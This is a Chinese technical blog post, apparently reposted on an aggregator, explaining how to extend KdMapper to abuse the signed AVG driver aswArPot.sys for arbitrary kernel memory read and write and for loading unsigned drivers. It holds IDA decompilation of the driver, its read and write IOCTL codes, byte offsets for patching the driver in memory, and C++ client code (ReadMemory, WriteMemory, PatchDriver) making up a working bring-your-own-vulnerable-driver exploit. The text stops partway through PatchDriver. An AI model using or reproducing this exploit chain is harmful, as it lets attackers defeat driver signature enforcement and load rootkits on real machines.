KdMapper扩展实现之AVG(aswArPot.sys)

news2024/11/27 0:30:08

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

驱动名称aswArPot.sys 
时间戳5FC5F955
MD5A22626FEBC924EB219A953F1EE2B9600
文件版本20.10.171.0
设备名称\\.\avgSP_Avar
读取内存0x9989C028
写入内存0x9989C034
Windows 7支持
Windows 1022H2(包含) 及以下
Windows 1122621(包含)及以下

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        _security_init_cookie();
        return InitializeDriver(DriverObject, RegistryPath);
}

__int64 __fastcall InitializeDriver(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        __int64 retaddr; // [rsp+0h] [rbp+0h]

        qword_14004D9A8 = retaddr;
        return InitializeDriverImpletementation(DriverObject, RegistryPath);
}

__int64 __fastcall InitializeDriverImpletementation(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  ULONG MajorVersion; // [rsp+28h] [rbp-E0h] BYREF
  ULONG MinorVersion[3]; // [rsp+2Ch] [rbp-DCh] BYREF
  struct _OSVERSIONINFOW VersionInformation; // [rsp+38h] [rbp-D0h] BYREF

  PsGetVersion(&MajorVersion, MinorVersion, &BuildNumber, 0i64);
  dword_14002A214 = MinorVersion[0] | (MajorVersion << 8);
  if ( (unsigned int)dword_14002A214 < 0x501 )
    return 3221225473i64;
  strcpy((char *)&dword_14002A308, "201111");
  VersionInformation.dwOSVersionInfoSize = 276;
  if ( RtlGetVersion(&VersionInformation) >= 0
    && (VersionInformation.dwMajorVersion > 6
     || VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion >= 2) )
  {
    PoolType = 512;
    dword_1400289B8 = 0x40000000;
  }
  sub_140020AB4(RegistryPath);
  sub_140020BA0(RegistryPath);
  CreateAvarDevice(DriverObject);
  sub_140015AF8();
  if ( !(unsigned int)CreateDevice(DriverObject) )
    sub_140020FA8();
  return 0i64;
}

3.2 创建设备和符号链接

__int64 __fastcall CreateDevice(struct _DRIVER_OBJECT *pDriverObject)
{
  const wchar_t *szArPotDeviceName; // rdi
  __int64 result; // rax
  NTSTATUS ntStatus; // edi
  _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
  _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF

  DriverObject = pDriverObject;
  szArPotDeviceName = L"aswSP_ArPot2";
  if ( !g_bAswDevice )
    szArPotDeviceName = L"avgSP_ArPot2";
  _snwprintf(g_szArPotDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s", szArPotDeviceName);
  _snwprintf(g_szArPotSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", szArPotDeviceName);
  RtlInitUnicodeString(&DestinationString, g_szArPotDeviceNameBuffer);
  RtlInitUnicodeString(&SymbolicLinkName, g_szArPotSymbolicLinkNameBuffer);
  result = IoCreateDeviceSecure(
             pDriverObject,
             0,
             &DestinationString,
             0x7299u,
             256,
             1,
             (PUNICODE_STRING)L"68",
             0i64,
             &DeviceObject);
  if ( (int)result >= 0 )
  {
    ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    if ( ntStatus >= 0 )
    {
      memset64(pDriverObject->MajorFunction, (unsigned __int64)MainDispatch, 0x1Cui64);
      result = 0i64;
    }
    else
    {
      IoDeleteDevice(DeviceObject);
      result = (unsigned int)ntStatus;
    }
  }
  return result;
}

__int64 __fastcall CreateAvarDevice(PDRIVER_OBJECT pDriverObject)
{
  __int64 result; // rax
  const wchar_t *szAvarDeviceName; // r9
  __int64 v4; // rcx
  __int16 v5; // ax
  __int64 v6; // rcx
  __int16 v7; // ax
  __int64 v8; // rcx
  __int16 v9; // ax
  __int64 v10; // rcx
  char v11; // al
  ULONG MajorVersion; // [rsp+58h] [rbp-89h] BYREF
  ULONG MinorVersion; // [rsp+5Ch] [rbp-85h] BYREF
  _UNICODE_STRING DestinationString; // [rsp+60h] [rbp-81h] BYREF
  _UNICODE_STRING SymbolicLinkName; // [rsp+70h] [rbp-71h] BYREF
  char v16[16]; // [rsp+80h] [rbp-61h] BYREF
  int v17[6]; // [rsp+90h] [rbp-51h]
  __int16 v18; // [rsp+A8h] [rbp-39h]
  int v19[8]; // [rsp+B0h] [rbp-31h]
  __int16 v20; // [rsp+D0h] [rbp-11h]
  int v21[9]; // [rsp+D8h] [rbp-9h]
  __int16 v22; // [rsp+FCh] [rbp+1Bh]

  g_AvarDeviceObject = 0i64;
  PsGetVersion(&MajorVersion, &MinorVersion, &g_OsBuildNumber, 0i64);
  nOsVersion = MinorVersion | (MajorVersion << 8);
  if ( (unsigned int)nOsVersion < 0x500 )
    return 0xC0000001i64;
  szAvarDeviceName = L"aswSP_Avar";
  if ( !g_bAswDevice )
    szAvarDeviceName = L"avgSP_Avar";
  g_szAvarDeviceName = (__int64)szAvarDeviceName;
  _snwprintf(g_szAvarDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s");
  _snwprintf(g_szAvarSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", g_szAvarDeviceName);
  RtlInitUnicodeString(&DestinationString, g_szAvarDeviceNameBuffer);
  RtlInitUnicodeString(&SymbolicLinkName, g_szAvarSymbolicLinkNameBuffer);
  result = IoCreateDeviceSecure(
             pDriverObject,
             0,
             &DestinationString,
             0x9988u,
             256,
             0,
             (PUNICODE_STRING)L"68",
             0i64,
             &g_AvarDevice);
  g_ntStatus = result;
  if ( (int)result >= 0 )
  {
    g_ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    if ( g_ntStatus >= 0 )
    {
      g_AvarDeviceObject = g_AvarDevice;
      v4 = 0i64;
      v19[0] = 'F\0\\';
      v19[1] = 7077993;
      v19[2] = 7536741;
      v19[3] = 7536761;
      v19[4] = 6619252;
      v19[5] = 6029421;
      v19[6] = 7602254;
      v19[7] = 7536742;
      v20 = 0;
      v17[0] = 4456540;
      v17[1] = 6881394;
      v17[2] = 6619254;
      v17[3] = 6029426;
      v17[4] = 6881348;
      v17[5] = 7012467;
      v18 = 0;
      v21[0] = 7274569;
      v21[1] = 4391014;
      v21[2] = 7143535;
      v21[3] = 7078000;
      v21[4] = 7602277;
      v21[5] = 5374053;
      v21[6] = 7405669;
      v21[7] = 6619253;
      v21[8] = 7602291;
      v22 = 0;
      strcpy(v16, "CLASSPNP.SYS");
      do
      {
        v5 = *(_WORD *)((char *)v19 + v4);
        *(_WORD *)(v4 + 0x14004D040i64) = v5;
        v4 += 2i64;
      }
      while ( v5 );
      v6 = 0i64;
      do
      {
        v7 = *(_WORD *)((char *)v17 + v6);
        *(_WORD *)(v6 + 0x14004D120i64) = v7;
        v6 += 2i64;
      }
      while ( v7 );
      v8 = 0i64;
      do
      {
        v9 = *(_WORD *)((char *)v21 + v8);
        *(_WORD *)(v8 + 0x14004D3A0i64) = v9;
        v8 += 2i64;
      }
      while ( v9 );
      v10 = 0i64;
      do
      {
        v11 = v16[v10];
        *(_BYTE *)(v10 + 0x14004D380i64) = v11;
        ++v10;
      }
      while ( v11 );
      stru_14004D0E0.Count = 1;
      qword_1400289D8 = (__int64)&qword_1400289D0;
      qword_1400289D0 = &qword_1400289D0;
      stru_14004D0E0.Owner = 0i64;
      stru_14004D0E0.Contention = 0;
      KeInitializeEvent(&stru_14004D0E0.Event, SynchronizationEvent, 0);
      sub_140019CB4();
      sub_14001C130();
      qword_14004CF40 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _DWORD, _DWORD, _QWORD, _DWORD, _DWORD, _QWORD, _DWORD, _QWORD))sub_14001C7F8(L"IoCreateFileSpecifyDeviceObjectHint");
      qword_14004CD60 = sub_14001C7F8(L"IofCallDriver");
      sub_14001C7F8(L"IofCompleteRequest");
      sub_14001A24C();
      sub_14001FC24();
      result = 0i64;
    }
    else
    {
      IoDeleteDevice(g_AvarDevice);
      result = (unsigned int)g_ntStatus;
    }
  }
  return result;
}

  创建设备有两个,需要分析的是 CreateAvarDevice,其创建的设备名是 aswSP_Avar 或 avgSP_Avar,实际中根据驱动安装逻辑创建的是 avgSP_Avar。

3.3 MainDispatch

NTSTATUS __fastcall MainDispatch(struct _DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
        struct _DEVICE_OBJECT* pRequestDeviceObject; // rbx
        pRequestDeviceObject = pDeviceObject;
        ......    

        if (g_AvarDeviceObject && pDeviceObject == g_AvarDeviceObject)
        {
                if (pIrp->RequestorMode)
                {
                        if (!pIrp->Tail.Overlay.CurrentStackLocation->MajorFunction)
                        {
                                if (CheckAvarDeviceIoControlProcess)
                                {
                                        v18 = IoGetRequestorProcessId(pIrp);
                                        if (!(unsigned __int8)CheckAvarDeviceIoControlProcess(v18))
                                        {
                                        LABEL_17:
                                                pIrp->IoStatus.Status = 0xC00000BB;
                                                IofCompleteRequest(pIrp, 0);
                                                return 0xC00000BB;
                                        }
                                }
                        }
                }
                result = AvarDeviceMainDispatch((__int64)pRequestDeviceObject, pIrp);
        }
        else
        {
                ......
        }
        return result;
}

__int64 __fastcall AvarDeviceMainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rcx
        IO_STATUS_BLOCK* pIoStatus; // r11
        unsigned int ntStatus; // edi
        PVOID pInputBuffer; // rdx
        PVOID pOutputBuffer; // r9
        __int64 nInputBufferLength; // r8
        int nIoControlCode; // er10

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        pIoStatus = &pIrp->IoStatus;
        ntStatus = 0;
        pIrp->IoStatus.Information = 0i64;
        pInputBuffer = pIrp->AssociatedIrp.SystemBuffer;
        pIoStatus->Status = 0;
        pOutputBuffer = pInputBuffer;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        if (pIosp->MajorFunction == 2)
        {
                sub_140019B60(pIosp, pInputBuffer, nInputBufferLength, pInputBuffer);
                sub_140017CF8(&dword_14004D440);
        }
        else if (pIosp->MajorFunction == 14)
        {
                if ((nIoControlCode & 3) == 3)
                        pOutputBuffer = pIrp->UserBuffer;
                ntStatus = AvarDeviceIoControl(
                        pIosp->FileObject,
                        pInputBuffer,
                        nInputBufferLength,
                        pOutputBuffer,
                        pIosp->Parameters.DeviceIoControl.OutputBufferLength,
                        nIoControlCode,
                        pIoStatus,
                        pDeviceObject);
        }
        IofCompleteRequest(pIrp, 0);
        return ntStatus;
}

__int64 __fastcall AvarDeviceIoControl(PFILE_OBJECT pFileObject, PVOID pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, unsigned int nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus, PDEVICE_OBJECT pDeviceObject)
{
        ......
        NTSTATUS ntStatusV44; // eax

        if (nIoControlCode != 0x9988C044)
        {
                ......
                switch (nIoControlCode)
                {
                        ......
                        default:
                                ntStatusV44 = AvarDefaultDeviceIoControl(
                                        pFileObject,
                                        (ASWARPOT_COPY_MEMORY_INFO*)pInputBuffer,
                                        nInputBufferLength,
                                        pOutputBuffer,
                                        nOutputBufferLength,
                                        nIoControlCode,
                                        pIoStatus);
                                goto LABEL_215;
                }
                ntStatusV44 = 0xC0000206;
                goto LABEL_215;
        }
 
        return result;
}

__int64 __fastcall AvarDefaultDeviceIoControl(PFILE_OBJECT pFileObject, ASWARPOT_COPY_MEMORY_INFO* pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, ULONG nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus)
{
        size_t nInputBufferLengthV8; // r13
        _OWORD* nOutputBufferV9; // r15
        PVOID P[4]; // [rsp+50h] [rbp-378h] BYREF


        P[2] = pInputBuffer;
        nInputBufferLengthV8 = nInputBufferLength;
        nOutputBufferV9 = pOutputBuffer;
        P[3] = pOutputBuffer;
        P[1] = pIoStatus;
        LODWORD(P[0]) = 0;
        
        if (nIoControlCode != 0x9989C020)
        {
                switch (nIoControlCode)
                {
                        ......
                        case 0x9989C028:
                                if (nInputBufferLength < 8 || !pInputBuffer)// 读取内存
                                {
                                        result = 0xC0000206i64;
                                        pIoStatus->Status = 0xC0000206;
                                        return result;
                                }
                                if (nOutputBufferLength < 4 || !pOutputBuffer)
                                {
                                        result = 0xC0000206i64;
                                        pIoStatus->Status = 0xC0000206;
                                        return result;
                                }
                                P[0] = pInputBuffer->ReadSourceAddress;
                                if (MmIsAddressValid(P[0]) && MmIsAddressValid((char*)P[0] + nOutputBufferLength))
                                {
                                        CopyMemoryWithSourceMdl(nOutputBufferV9, P[0], nOutputBufferLength);
                                        pIoStatus->Information = nOutputBufferLength;
                                        pIoStatus->Status = 0;
                                        return 0i64;
                                }
                                pIoStatus->Status = 0xC000000D;
                                break;
                        case 0x9989C034:
                                if (nInputBufferLength >= 0x18 && pInputBuffer)// 写入内存
                                {
                                        if (MmIsAddressValid(pInputBuffer->DestinationAddress)
                                                && MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size))// 这里应该是 + pInputBuffer->Size -1
                                        {
                                                CopyMemoryWithDestinaionMdl(pInputBuffer->DestinationAddress, pInputBuffer->Buffer, pInputBuffer->Size);
                                                pIoStatus->Status = 0;
                                                pIoStatus->Information = 0i64;
                                                result = 0i64;
                                        }
                                        else
                                        {
                                                result = 0xC000000Di64;
                                                pIoStatus->Status = 0xC000000D;
                                                pIoStatus->Information = 0i64;
                                        }
                                }
                                else
                                {
                                        result = 0xC0000206i64;
                                        pIoStatus->Status = 0xC0000206;
                                }
                                return result;
                        case 0x9989C02C:
                                ......
                        }
                return sub_1400182E8(
                        (__int64)pFileObject,
                        (unsigned int*)pInputBuffer,
                        nInputBufferLengthV8,
                        nOutputBufferV9,
                        nOutputBufferLength,
                        nIoControlCode,
                        pIoStatus);
        }
       
        return result;
}

  其中 0x9989C028 是读取内存,0x9989C034为写入内存。

  代码第 132 行内容为   if (nOutputBufferLength < 4 || !pOutputBuffer),此处限制每次读取的大小为一个 ULONG,如果读取的字节数小于 4 个字节需要转换一下,参见《4.1 读取内存限制》。

  代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size),这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1),前者的逻辑使用期间会超出指定的地址范围,如果范围之外的内存页是无效的话就会导致验证失败。相关修改参见《4.2 写入内存地址范围验证》。

 3.4 CopyMemoryWithSourceMdl

__int64 __fastcall CopyMemoryWithSourceMdl(PVOID DestinationAddress, void* SourceAddress, ULONG nSize)
{
        char bLockedPages; // si
        PMDL pMDL; // rax
        _MDL* pMdl2; // rdi
        PVOID pMappedAddress; // r14
        unsigned int ntSatus; // ebx
        KIRQL oldSpinLock; // bl
        KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF

        bLockedPages = 0;
        pMDL = IoAllocateMdl(SourceAddress, nSize, 0, 0, 0i64);
        pMdl2 = pMDL;
        SpinLock[1] = (KSPIN_LOCK)pMDL;
        if (!pMDL)
                return 0xC000009Ai64;
        if ((pMDL->MdlFlags & 7) == 0)
        {
                MmProbeAndLockPages(pMDL, 0, IoModifyAccess);
                bLockedPages = 1;
        }
        pMappedAddress = MmMapLockedPagesSpecifyCache(pMdl2, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
        if (pMappedAddress)
        {
                SpinLock[0] = 0i64;
                oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
                memmove(DestinationAddress, pMappedAddress, nSize);
                KeReleaseSpinLock(SpinLock, oldSpinLock);
                ntSatus = 0;
                MmUnmapLockedPages(pMappedAddress, pMdl2);
        }
        else
        {
                ntSatus = 0xC000009A;
        }
        if (bLockedPages)
                MmUnlockPages(pMdl2);
        IoFreeMdl(pMdl2);
        return ntSatus;
}

   其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess), 第三个参数应应该为 IoReadAceess,否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》。

3.5 CopyMemoryWithDestinaionMdl

__int64 __fastcall CopyMemoryWithDestinaionMdl(void* DestinationAddress, PVOID SourceAddress, ULONG nSize)
{
        char bLockedPages; // si
        PMDL pMdl; // rax
        _MDL* pMdlMapped; // rdi
        PVOID pMappedAddress; // r14
        unsigned int ntStatus; // ebx
        KIRQL oldSpinLock; // bl
        KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF

        bLockedPages = 0;
        pMdl = IoAllocateMdl(DestinationAddress, nSize, 0, 0, 0i64);
        pMdlMapped = pMdl;
        SpinLock[1] = (KSPIN_LOCK)pMdl;
        if (!pMdl)
                return 0xC000009Ai64;
        if ((pMdl->MdlFlags & 7) == 0)
        {
                MmProbeAndLockPages(pMdl, 0, IoModifyAccess);
                bLockedPages = 1;
        }
        pMappedAddress = MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
        if (pMappedAddress)
        {
                SpinLock[0] = 0i64;
                oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
                memmove(pMappedAddress, SourceAddress, nSize);
                KeReleaseSpinLock(SpinLock, oldSpinLock);
                ntStatus = 0;
                MmUnmapLockedPages(pMappedAddress, pMdlMapped);
        }
        else
        {
                ntStatus = 0xC000009A;
        }
        if (bLockedPages)
                MmUnlockPages(pMdlMapped);
        IoFreeMdl(pMdlMapped);
        return ntStatus;
}

   其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess), 第三个参数应应该为 IoReadAceess,否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》。

3.6 _ASWARPOT_COPY_MEMORY_INFO结构体

00000000 _ASWARPOT_COPY_MEMORY_INFO struc ; (sizeof=0x18, align=0x8, copyof_400)
00000000 ReadSourceAddress dq ?                  ; offset
00000008 DestinationAddress dq ?                 ; offset
00000010 Size            dd ?
00000014 Buffer          db 4 dup(?)
00000018 _ASWARPOT_COPY_MEMORY_INFO ends

4.相关逻辑分析及修改

4.1 读取内存限制

  在《3.3 MainDispatch》代码第 132 行内容为   if (nOutputBufferLength < 4 || !pOutputBuffer),此处限制每次读取的大小为一个 ULONG,如果读取的字节数小于 4 个字节需要转换一下,

  实现代码如下:

#define ASWARPOT_DEVICE_TYPE          (DWORD)0x9989
#define ASWARPOT_READ_MEMORY_FUNCID   (DWORD)0x300A
#define IOCTL_ASWARPOT_READ_MEMORY      \
    CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028

typedef struct _ASWARPOT_COPY_MEMORY_INFO
{
    PVOID ReadSourceAddress;
    PVOID DestinationAddress;
    ULONG Size;
    BYTE  Buffer[4];
}ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;

bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {

        ASWARPOT_COPY_MEMORY_INFO info = { 0 };
        bool bResult = false;
        info.ReadSourceAddress = (PVOID)address;
        ULONG ulData = 0;
        if (size < 4)
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 1 failed\r\n");
                }
                else
                {
                        RtlCopyMemory(buffer, &ulData, size);
                }

        }
        else
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 2 failed\r\n");
                }
        }

        return bResult;
}

4.2 写入内存地址范围验证

  在《3.3 MainDispatch》代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size),这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1),前者的逻辑使用期间会超出指定的地址范围,如果范围之外的内存页是无效的话就会导致验证失败。

  实际使用过程中要我们分配目标驱动内存并写入数据时会导致验证失败,这时我们可以将分配的内存扩大,实际复制数据时使用原始大小,修改后的相关代码如下:

uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) 
{
    ......
    void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	if (!local_image_base)
		return 0;

	DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress;
	image_size = image_size - (destroyHeader ? TotalVirtualHeaderSize : 0);

	uint64_t kernel_image_base = 0;
	uint64_t mdlptr = 0;
	//因为校验时的边界设置错误,故分配时的大小加一个页面,使用时按原大小
	if (mdlMode) {
		
		kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size + 0x1000, &mdlptr);
	}
	else {
		kernel_image_base = avg_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size+0x1000);
	}
    ......
}

4.3 锁定页面参数修改

  在《3.4 CopyMemoryWithSourceMdl》和《3.5 CopyMemoryWithDestinaionMdl》 中 MmProbeAndLockPages 第三个参数为 IoModifyAccess,即 2,这样会导致映射不可写内存页面时失败,应该改为IoReadAccess,也即为 0。其实在之后调用 MmMapLockedPagesSpecifyCache 后,内存已经变为可读可写了,之前的 MmProbeAndLockPages 第三个参数为 IoReadAccess就可以了。 

4.3.1 CopyMemoryWithSourceMdl 修改 

  IDA 定位如下:

.text:000000014001DD97                         loc_14001DD97:                          ; DATA XREF: .rdata:0000000140027550↓o
.text:000000014001DD97 33 D2                                   xor     edx, edx        ; AccessMode
.text:000000014001DD99 44 8D 42 02                             lea     r8d, [rdx+2]
.text:000000014001DD9D 48 8B CF                                mov     rcx, rdi        ; MemoryDescriptorList
.text:000000014001DDA0 FF 15 BA 62 00 00                       call    cs:MmProbeAndLockPages

  可以修改 lea r8d, [rdx+2] 为  lea r8d, [rdx] 即可,即使将 000000014001DD99 处的机器码修改为 44 80 42 00,也即将 000000014001DD9C 对应的字节改为 0。 

  000000014001DD9C 处对应的的虚拟地址偏移量可用 StudyPE 查询,如下:

  

  即驱动基址加 0x1DD9C 处字节修改为0。

4.3.2 CopyMemoryWithDestinaionMdl 修改

  IDA 定位如下:

.text:000000014001DEB3                         loc_14001DEB3:                          ; DATA XREF: .rdata:000000014002757C↓o
.text:000000014001DEB3 33 D2                                   xor     edx, edx        ; AccessMode
.text:000000014001DEB5 44 8D 42 02                             lea     r8d, [rdx+2]    ; Operation
.text:000000014001DEB9 48 8B CF                                mov     rcx, rdi        ; MemoryDescriptorList
.text:000000014001DEBC FF 15 9E 61 00 00                       call    cs:MmProbeAndLockPages

  可以修改 lea r8d, [rdx+2] 为  lea r8d, [rdx] 即可,即使将 000000014001DEB5 处的机器码修改为 44 80 42 00,也即将 000000014001DEB8 对应的字节改为 0。 

  000000014001DEB8 处对应的的虚拟地址偏移量可用 StudyPE 查询,如下:

  

  即驱动基址加 0x1DEB8 处字节修改为0。

4.3.3 相关代码

#define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1dd9c)
#define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1deb8)

bool avg_driver::PatchDriver(HANDLE device_handle)
{
        BYTE byData = 0;
        uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);

        if (driverBase == 0) {
                Log(L"[-] Failed to get driver:" << driver_name << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        //将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
        uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }

        uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        Log(L"[+] PatchDriver OK!\r\n");
        return true;
}

5.完整关键代码

  头文件

#define ASWARPOT_DEVICE_TYPE          (DWORD)0x9989
#define ASWARPOT_READ_MEMORY_FUNCID   (DWORD)0x300A
#define ASWARPOT_WRITE_MEMORY_FUNCID (DWORD)0x300D

#define IOCTL_ASWARPOT_READ_MEMORY      \
    CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028
#define IOCTL_ASWARPOT_WRITE_MEMORY    \
    CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_WRITE_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C034

#define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1dd9c)
#define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1deb8)

typedef struct _ASWARPOT_COPY_MEMORY_INFO
        {
                PVOID ReadSourceAddress;
                PVOID DestinationAddress;
                ULONG Size;
                BYTE  Buffer[4];
        }ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;

  CPP文件

NTSTATUS avg_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;
        if (!NT_SUCCESS(ntStatus))
        {
                Log(L"[-] SuperCallDriverEx failed, code:0x" << std::setbase(16) << std::setw(8) << std::setfill(L'0') << ntStatus << std::endl);
        }
        return ntStatus;
}


BOOL avg_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {

        ASWARPOT_COPY_MEMORY_INFO info = { 0 };
        bool bResult = false;
        info.ReadSourceAddress = (PVOID)address;
        ULONG ulData = 0;
        if (size < 4)
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 1 failed\r\n");
                }
                else
                {
                        RtlCopyMemory(buffer, &ulData, size);
                }

        }
        else
        {
                bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
                if (!bResult)
                {
                        Log(L"[-] ReadMemory 2 failed\r\n");
                }
        }

        return bResult;
}

bool avg_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {

        ULONG ulSize = sizeof(ASWARPOT_COPY_MEMORY_INFO) + size;
        PASWARPOT_COPY_MEMORY_INFO pInfo = (PASWARPOT_COPY_MEMORY_INFO)malloc(ulSize);
        if (!pInfo)
        {
                Log(L"[-]WriteMemory malloc failed\r\n");
                return false;
        }
        RtlZeroMemory(pInfo, ulSize);
        pInfo->DestinationAddress = (PVOID)address;
        pInfo->Size = size;
        RtlCopyMemory(&pInfo->Buffer, buffer, size);

        bool bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_WRITE_MEMORY, pInfo, ulSize, NULL, NULL);
        free(pInfo);
        if (!bResult)
        {
                Log(L"[-] WriteMemory failed\r\n");
        }
        return bResult;
}

bool avg_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) {
        if (!address || !buffer || !size)
                return false;


        bool result = WriteMemory(device_handle, address, buffer, size);

        return result;
}

bool avg_driver::PatchDriver(HANDLE device_handle)
{
        BYTE byData = 0;
        uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);

        if (driverBase == 0) {
                Log(L"[-] Failed to get driver:" << driver_name << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
